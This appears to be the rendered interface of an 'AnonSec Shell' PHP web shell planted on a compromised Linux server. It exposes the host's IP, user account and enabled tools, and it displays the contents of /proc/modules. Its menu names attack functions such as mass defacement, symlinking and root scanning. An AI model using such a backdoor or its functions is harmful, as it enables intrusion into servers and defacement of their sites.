AnonSec Shell
Server IP : 198.244.165.102  /  Your IP : 216.73.216.218   [ Reverse IP ]
Web Server : nginx/1.24.0
System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : colleary ( 1011)
PHP Version : 8.3.23
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc//modules
tcp_diag 12288 0 - Live 0x0000000000000000
inet_diag 28672 1 tcp_diag, Live 0x0000000000000000
xt_recent 24576 0 - Live 0x0000000000000000
cpuid 12288 0 - Live 0x0000000000000000
tls 155648 18 - Live 0x0000000000000000
qrtr 53248 2 - Live 0x0000000000000000
cfg80211 1368064 0 - Live 0x0000000000000000
isofs 61440 0 - Live 0x0000000000000000
ip6t_REJECT 12288 1 - Live 0x0000000000000000
nf_reject_ipv6 24576 1 ip6t_REJECT, Live 0x0000000000000000
xt_hl 12288 22 - Live 0x0000000000000000
ip6t_rt 16384 3 - Live 0x0000000000000000
ipt_REJECT 12288 1 - Live 0x0000000000000000
nf_reject_ipv4 12288 1 ipt_REJECT, Live 0x0000000000000000
xt_LOG 16384 10 - Live 0x0000000000000000
nf_log_syslog 20480 10 - Live 0x0000000000000000
xt_multiport 16384 2 - Live 0x0000000000000000
xt_comment 12288 2 - Live 0x0000000000000000
binfmt_misc 24576 1 - Live 0x0000000000000000
nft_limit 16384 13 - Live 0x0000000000000000
xt_limit 12288 0 - Live 0x0000000000000000
xt_addrtype 12288 4 - Live 0x0000000000000000
xt_tcpudp 16384 60 - Live 0x0000000000000000
xt_conntrack 12288 16 - Live 0x0000000000000000
nf_conntrack 200704 1 xt_conntrack, Live 0x0000000000000000
nf_defrag_ipv6 24576 1 nf_conntrack, Live 0x0000000000000000
nf_defrag_ipv4 12288 1 nf_conntrack, Live 0x0000000000000000
nft_compat 20480 121 - Live 0x0000000000000000
nf_tables 380928 738 nft_limit,nft_compat, Live 0x0000000000000000
zfs 6602752 6 - Live 0x0000000000000000 (PO)
spl 180224 1 zfs, Live 0x0000000000000000 (O)
nls_iso8859_1 12288 1 - Live 0x0000000000000000
intel_rapl_msr 20480 0 - Live 0x0000000000000000
intel_rapl_common 40960 1 intel_rapl_msr, Live 0x0000000000000000
intel_uncore_frequency 16384 0 - Live 0x0000000000000000
intel_uncore_frequency_common 16384 1 intel_uncore_frequency, Live 0x0000000000000000
isst_if_common 24576 0 - Live 0x0000000000000000
skx_edac 20480 0 - Live 0x0000000000000000
skx_edac_common 24576 1 skx_edac, Live 0x0000000000000000
nfit 81920 1 skx_edac_common, Live 0x0000000000000000
x86_pkg_temp_thermal 20480 0 - Live 0x0000000000000000
intel_powerclamp 24576 0 - Live 0x0000000000000000
coretemp 24576 0 - Live 0x0000000000000000
kvm_intel 487424 0 - Live 0x0000000000000000
irdma 438272 0 - Live 0x0000000000000000
ipmi_ssif 45056 0 - Live 0x0000000000000000
ice 1249280 1 irdma, Live 0x0000000000000000
kvm 1404928 1 kvm_intel, Live 0x0000000000000000
cmdlinepart 12288 0 - Live 0x0000000000000000
spi_nor 167936 0 - Live 0x0000000000000000
irqbypass 12288 1 kvm, Live 0x0000000000000000
gnss 16384 1 ice, Live 0x0000000000000000
mtd 98304 3 cmdlinepart,spi_nor, Live 0x0000000000000000
ib_uverbs 184320 1 irdma, Live 0x0000000000000000
rapl 20480 0 - Live 0x0000000000000000
ib_core 507904 2 irdma,ib_uverbs, Live 0x0000000000000000
intel_cstate 24576 0 - Live 0x0000000000000000
i2c_algo_bit 16384 0 - Live 0x0000000000000000
i2c_i801 36864 0 - Live 0x0000000000000000
spi_intel_pci 12288 0 - Live 0x0000000000000000
i2c_smbus 16384 1 i2c_i801, Live 0x0000000000000000
spi_intel 32768 1 spi_intel_pci, Live 0x0000000000000000
mei_me 53248 0 - Live 0x0000000000000000
ioatdma 90112 0 - Live 0x0000000000000000
mei 172032 1 mei_me, Live 0x0000000000000000
intel_pch_thermal 20480 0 - Live 0x0000000000000000
dca 16384 1 ioatdma, Live 0x0000000000000000
ipmi_si 86016 1 - Live 0x0000000000000000
acpi_power_meter 20480 0 - Live 0x0000000000000000
acpi_ipmi 24576 1 acpi_power_meter, Live 0x0000000000000000
ipmi_devintf 16384 0 - Live 0x0000000000000000
ipmi_msghandler 94208 4 ipmi_ssif,ipmi_si,acpi_ipmi,ipmi_devintf, Live 0x0000000000000000
joydev 32768 0 - Live 0x0000000000000000
input_leds 12288 0 - Live 0x0000000000000000
acpi_pad 184320 0 - Live 0x0000000000000000
mac_hid 12288 0 - Live 0x0000000000000000
dm_multipath 45056 0 - Live 0x0000000000000000
msr 12288 0 - Live 0x0000000000000000
efi_pstore 12288 0 - Live 0x0000000000000000
nfnetlink 20480 4 nft_compat,nf_tables, Live 0x0000000000000000
dmi_sysfs 24576 0 - Live 0x0000000000000000
ip_tables 32768 0 - Live 0x0000000000000000
x_tables 65536 14 xt_recent,ip6t_REJECT,xt_hl,ip6t_rt,ipt_REJECT,xt_LOG,xt_multiport,xt_comment,xt_limit,xt_addrtype,xt_tcpudp,xt_conntrack,nft_compat,ip_tables, Live 0x0000000000000000
autofs4 57344 2 - Live 0x0000000000000000
btrfs 2056192 0 - Live 0x0000000000000000
blake2b_generic 24576 0 - Live 0x0000000000000000
raid10 77824 0 - Live 0x0000000000000000
raid456 196608 0 - Live 0x0000000000000000
async_raid6_recov 20480 1 raid456, Live 0x0000000000000000
async_memcpy 16384 2 raid456,async_raid6_recov, Live 0x0000000000000000
async_pq 20480 2 raid456,async_raid6_recov, Live 0x0000000000000000
async_xor 16384 3 raid456,async_raid6_recov,async_pq, Live 0x0000000000000000
async_tx 16384 5 raid456,async_raid6_recov,async_memcpy,async_pq,async_xor, Live 0x0000000000000000
xor 20480 2 btrfs,async_xor, Live 0x0000000000000000
hid_generic 12288 0 - Live 0x0000000000000000
usbhid 77824 0 - Live 0x0000000000000000
hid 180224 2 hid_generic,usbhid, Live 0x0000000000000000
raid6_pq 126976 4 btrfs,raid456,async_raid6_recov,async_pq, Live 0x0000000000000000
libcrc32c 12288 4 nf_conntrack,nf_tables,btrfs,raid456, Live 0x0000000000000000
raid0 24576 0 - Live 0x0000000000000000
raid1 61440 2 - Live 0x0000000000000000
crct10dif_pclmul 12288 1 - Live 0x0000000000000000
nvme 61440 9 - Live 0x0000000000000000
crc32_pclmul 12288 0 - Live 0x0000000000000000
polyval_clmulni 12288 0 - Live 0x0000000000000000
polyval_generic 12288 1 polyval_clmulni, Live 0x0000000000000000
ghash_clmulni_intel 16384 0 - Live 0x0000000000000000
nvme_core 212992 10 nvme, Live 0x0000000000000000
sha256_ssse3 32768 0 - Live 0x0000000000000000
i40e 647168 1 irdma, Live 0x0000000000000000
ahci 49152 0 - Live 0x0000000000000000
sha1_ssse3 32768 0 - Live 0x0000000000000000
nvme_auth 28672 1 nvme_core, Live 0x0000000000000000
libahci 53248 1 ahci, Live 0x0000000000000000
xhci_pci 24576 0 - Live 0x0000000000000000
xhci_pci_renesas 20480 1 xhci_pci, Live 0x0000000000000000
wmi 28672 0 - Live 0x0000000000000000
aesni_intel 356352 0 - Live 0x0000000000000000
crypto_simd 16384 1 aesni_intel, Live 0x0000000000000000
cryptd 24576 2 ghash_clmulni_intel,crypto_simd, Live 0x0000000000000000

Anon7 - 2022
AnonSec Team